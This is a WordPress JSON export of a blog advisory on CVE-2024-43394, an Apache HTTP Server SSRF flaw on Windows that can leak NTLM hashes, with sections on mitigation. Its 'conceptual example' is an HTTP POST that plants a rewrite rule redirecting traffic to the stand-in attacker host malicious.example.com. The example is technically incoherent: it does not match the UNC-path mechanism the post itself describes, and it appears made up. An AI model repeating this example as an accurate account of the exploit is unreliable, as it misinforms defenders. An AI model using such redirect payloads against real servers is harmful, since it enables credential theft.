{"id":86611,"date":"2026-03-05T06:37:45","date_gmt":"2026-03-05T06:37:45","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2024-43394-apache-http-server-ssrf-vulnerability-leading-to-potential-ntlm-hash-leakage","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-43394-apache-http-server-ssrf-vulnerability-leading-to-potential-ntlm-hash-leakage\/","title":{"rendered":"<strong>CVE-2024-43394: Apache HTTP Server SSRF Vulnerability Leading to Potential NTLM Hash Leakage<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This report presents a technical analysis of a significant vulnerability identified as CVE-2024-43394. The vulnerability affects the Apache HTTP Server on Windows platforms, specifically versions from 2.4.0 through 2.4.63. The vulnerability allows for Server-Side Request Forgery (SSRF), potentially leading to the leakage of NTLM hashes to malicious servers. This vulnerability is of high concern due to the potential for system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2024-43394<br \/>\nSeverity: High (CVSS 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise or leakage of sensitive data<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1071576617\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Apache HTTP Server | 2.4.0 &#8211; 2.4.63<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability arises due to the server&#8217;s mishandling of unvalidated request input via mod_rewrite or apache expressions. A malicious actor can exploit this vulnerability by sending specially crafted requests to the server, which then inadvertently leaks NTLM hashes to the malicious server. The exploitation may occur via UNC paths, with limited protection offered by the server against administrators directing it to open these paths.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3923207672\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following example represents a conceptual example of a malicious HTTP request exploiting this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/path\/mod_rewrite HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\nrewriteRule=^.*$ http:\/\/malicious.example.com\/%{REQUEST_URI} [R=301,L]<\/code><\/pre>\n<p>In this example, a malicious actor uses a rewrite rule to redirect all requests to their server, potentially capturing NTLM hashes in the process. Note that this is a conceptual representation and actual exploit codes may vary.<\/p>\n<p><strong>Impact Summary<\/strong><\/p>\n<p>Successful exploitation of this vulnerability could lead to the potential compromise of the system or data leakage. The vulnerability allows an attacker to potentially leak NTLM hashes to a malicious server, which could potentially be used for further attacks or unauthorized access to sensitive resources.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, it is advised to apply the vendor patch as soon as possible. If immediate patching is not feasible, a temporary mitigation could involve the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block potential exploitation attempts. Additionally, Windows servers should limit the hosts they will connect over via SMB based on the nature of NTLM authentication to further protect against such attacks.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This report presents a technical analysis of a significant vulnerability identified as CVE-2024-43394. The vulnerability affects the Apache HTTP Server on Windows platforms, specifically versions from 2.4.0 through 2.4.63. The vulnerability allows for Server-Side Request Forgery (SSRF), potentially leading to the leakage of NTLM hashes to malicious servers. This vulnerability is of high concern [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86611","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86611","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=86611"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86611\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=86611"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=86611"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=86611"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=86611"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=86611"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=86611"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=86611"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=86611"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=86611"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}